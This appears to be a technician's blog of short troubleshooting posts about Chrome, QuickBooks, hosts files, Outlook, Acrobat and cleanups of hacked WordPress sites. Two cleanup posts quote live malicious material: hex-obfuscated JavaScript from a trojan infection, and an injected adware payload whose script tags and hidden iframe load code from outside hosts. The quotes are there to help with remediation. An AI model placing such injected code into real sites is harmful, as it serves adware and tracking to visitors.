Chrome not loading pages

Helped a friend fix an issue with Chrome. Chrome was fine one and not the next. Chrome would open but wouldn’t finish loading a page. I fixed a Chrome issue before so I tried the following. Here were the steps I took.

  1. Deleted the user profile.
  2. Re-install Chrome.

Neither one of these fixes worked.  Here are the steps I took that got Chrome working again.

  1. Uninstalled Chrome.
  2. Uninstalled Java ( version 6, current version 8).
  3. Ran CCleaner to fix Registry.
  4. Rebooted machine.
  5. Ran CCleaner to fix Registry again.
  6. Re-installed Chrome and everything worked again.

I hope this helps someone out.

More info….

Another user in Google Forums posted this solution.

C:\Program Files (x86)\Google\Chrome\Application into your windows “Search programs and files” box (Windows picture in bottom left of your screen).  Right click on the Chrome icon and in the settings I had to check a box that made it compatible with the version of Windows I was using.  It worked immediately.

chrome_compatabillity

I hope this helps someone out.

Quickbooks – Unrecoverable Error – Solved

We had a client who’s Quickbooks suddenly stopped working properly. When the program would start to open there was an error thrown.

“We apologize for the inconvenience. Please help the QuickBooks team eliminate this issue by providing us with the following information.”

american_coffee_quickbooks_error

This was solved by repairing the program. I went into add/remove programs. Selected Quickbooks and clicked uninstall. Through this process I was given the choice to repair. When the repair process was finished the program ran normally.

I hope this helps someone else out there.

Preview your godaddy website before a domain transfer

We often build a clients site on a hosting account where the domain  name hasn’t been transferred or the DNS has been pointed to the new hosting. A common way to solve this issue is to modify your host file on your local machine.

Depending on your Operating System will determine where your local host file will be. Open the file in a common text editor like notepad. The following link helped my find my host file.

http://www.inmotionhosting.com/support/website/how-to/modifying-your-hosts-file

Add a line so there is no “#” before your next entry. Add the IP address and the fully qualified domain name.

host_file

To get the IP of your new host it can often be found in the CPanel. In Godaddy it is currently on the left side, down at the bottom under server information.

host_file_server_settings

After you save the host file you will be able to use a browser and go to the domain name and you will get to the new hosting to preview your site. You may need to wait a few minutes. You may need to clear your cashe or hit refresh.

I hope this helps someone else out there….

 

Outlook / Godaddy email account receiving but not sending

Set up two new Godaddy hosted email accounts. Then when setting up their Outlook with the godaddy email account testing the account failed. Wouldn’t send. Keep asking for the password to the SMTP server. I changed ports and and connection types but no luck.

I was able to set up the first account but not the second. Everything was the same. I finally reset the password for the second account to be the same password it was when I first set it up and suddenly it all worked.

I hope this helps someone else.

Acrobat won’t open “Attempt to access invalid address”

We had a user that suddenly couldn’t open any local or networked PDF files. I uninstalled, ran CCleaner, Adobe’s after acrobat cleaner, restarted the machine, and finally re-installed Acrobat. Same error came up.

This issue was solved by uninstalling EMET 5.1. Not really what I wanted to do but the user had to get work done.

Going to follow up with Adobe for a better solution.

The following link pointed me in the EMET direction.

https://forums.adobe.com/message/6830531

Hope this helps someone else out there….

WordPress site blocked by SonicWall – JS.Agent.NKW_2 (Trojan)

Had a customer’s website blocked by our internal firewall.

dr_blum_homepage_blocked_infection_small

They were running WP Antivirus Site Protection plug-in. It listed the following files.

  • /wp-content/plugins/nextgen-gallery/nggallery.php
    /wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/ngglegacy/lib/imagemagick.inc.php
    /wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/router/class.router.php
    /wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/router/class.routing_app.php
    /wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/router/interface.routing_app.php
    /wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/wordpress_routing/adapter.wordpress_routing_app.php
    /wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/ngglegacy/admin/functions.php
    /wp-content/plugins/si-contact-form/includes/class-fscf-process.php

 

This link provided me with some detail. There was a code that looked like “\x73\x63\x5F\x63\x6F”,\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64″,\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68″,\x77\x69\x64\x74\x68″,\x68\x65\x69\x67\x68\x74″,\x63\x68\x61\x72\x73\x65\x74″,\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,\x72\x65\x66\x65\x72\x72\x65\x72″,

Deleting this out is supposed to help.

https://wordpress.org/support/topic/jsagent-warnings-in-avg-nightmare-hack-in-multiple-wordpress-sites

Here is a good article on this issue.

http://blog.sucuri.net/2012/12/website-malware-sharp-increase-in-spam-attacks-wordpress-joomla.html

 

 

WordPress site infected with CouponDropDown Adware

Customers WordPress site got hacked. They use Network Solutions as their host. Network Solutions took their site offline. We had to delete all the WordPress files, upload a clean version, and put their content and theme back. After that the site was back up and running.

I reviewed the site to make sure the permalinks didn’t cause a problem. On one page there were banners ads showing up.

lawyer_website_xxs

The issue turned out to be a form Cross Site Scripting or SEO poisoning. There was a database entry that had the extra text in it. Here is the text below.

————————————————————————————————–

<div id=”__tbSetup”></div>

<script type=”text/javascript” src=”http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&amp;pid=1032&amp;zoneid=62862″></script><script type=”text/javascript” src=”https://loading-resource.com/data.js.php?i={6C425871-ABD5-4124-A2B2-C02CE1D37F67}&amp;d=2013-1-17&amp;s=http://mcmanus-darden.com/home/wp-admin/post.php?post=361&amp;action=edit”></script><script id=”__changoScript” type=”text/javascript”>// <![CDATA[

var __chd__ = {‘aid’:11079,’chaid’:’www_objectify_ca’};(function() { var c = document.createElement(‘script’); c.type = ‘text/javascript’; c.async = true;c.src = ( ‘https:’ == document.location.protocol ? ‘https://z’: ‘http://p’) + ‘.chango.com/static/c.js’; var s = document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(c, s);})();

// ]]></script><script id=”__simpliScript” type=”text/javascript” src=”http://i.simpli.fi/dpx.js?cid=3065&amp;m=1″ data-sifi-parsed=”true”></script><script type=”text/javascript” src=”http://www.superfish.com/ws/sf_main.jsp?dlsource=wjfudcm&amp;userId=ezZDNDI1ODcxLUFCRDUtND&amp;CTID=default-US”></script><script type=”text/javascript” src=”http://www.vitruvianleads.com/build/production/selectionlinks/templates/bootstrap.js”></script><script type=”text/javascript” src=”http://i.simpli.fi/p?cid=3065&amp;cb=dpx_48652254532._hp”></script><iframe id=”l3adg3n-xdm” style=”position: absolute; top: -1000px; left: -1000px; width: 1px; height: 1px;” src=”http://www.vitruvianleads.com/build/xdm.html” width=”320″ height=”240″></iframe>

————————————————————————————————–

There were multiple entries under this title. I used the source to figure out the actual page is was effecting. It was entry 361. There were approximately 20 revisions, but it was the original 361 that took the script off the site. It was in some revisions but not all.

I hope this helps someone else….

 

Solved Internet Explorer won’t open – EMET 5.0 conflict

We have a customer that must use Internet Explorer for the work software. It is how the login, punch their time clocks, and perform sales. Well Internet Explorer suddenly stopped working.

The first time I uninstalled IE, and this worked for a short time. The real issue turned out to be EMET 5.0 was preventing it from running.

Solution was to uninstall EMET 5.0, download 5.1 and install it. Everything worked after that.

I hope this helps someone else.

Malwarebytes trial expired box pop up in taskbar.

Client started getting a Malwarebytes popup next to their clock in the system tray. Worried about this being Malware itself I didn’t click on it. I uninstalled the version of Malwarebytes that was currently installed and reinstalled the a new downloaded free version.

I also ran CCleaner to clean the registry. It didn’t find anything related to MalwareBytes. I then re-installed MalwareBytes.

What I should have done is in this Forum post. MalwareBytes makes a cleaner for uninstalling their product. If the customer continues to get the pop up I will log back in and uninstall the current version >> run the cleaner >> re-install a new download of MalwareBytes. Below is the link I found.

https://forums.malwarebytes.org/index.php?/topic/113042-malwarebytes-trial-version-expired-message/

I hope this helps someone else.